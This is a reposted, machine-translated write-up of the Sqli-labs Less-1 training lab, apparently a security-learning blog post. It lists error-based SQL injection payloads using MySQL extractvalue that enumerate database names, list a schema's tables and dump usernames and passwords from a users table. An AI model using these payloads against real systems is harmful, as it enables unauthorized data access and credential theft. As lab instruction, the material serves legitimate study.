当前位置：网站首页>Sqli labs less-1 (extractvalue of error injection)

Sqli labs less-1 (extractvalue of error injection)

2022-07-19 00:46:00 【Unknown white hat】

Catalog

 less-1( Error reporting injection extractvalue)

1. principle

2. Blast all silos

3 Blast security All table names for

4. Inquire about users The third line of data

 less-1( Error reporting injection extractvalue)

1. principle

2. Blast all silos

All database names

?id=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))-- -

?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),1,31) from information_schema.schemata)))-- - # The letter limit can only be displayed 31 individual

?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),32,31) from information_schema.schemata)))-- -

?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),63,31) from information_schema.schemata)))-- - 

3 Blast security All table names for

Security All table names for

?id=1’ and extractvalue(1,concat(0x7e,( select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e))-- -

4. Inquire about users The third line of data

?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from security.users where id=3),0x7e))-- -

原网站

版权声明
本文为[Unknown white hat]所创，转载请带上原文链接，感谢
https://yzsam.com/2022/200/202207162249507234.html

边栏推荐

猜你喜欢

随机推荐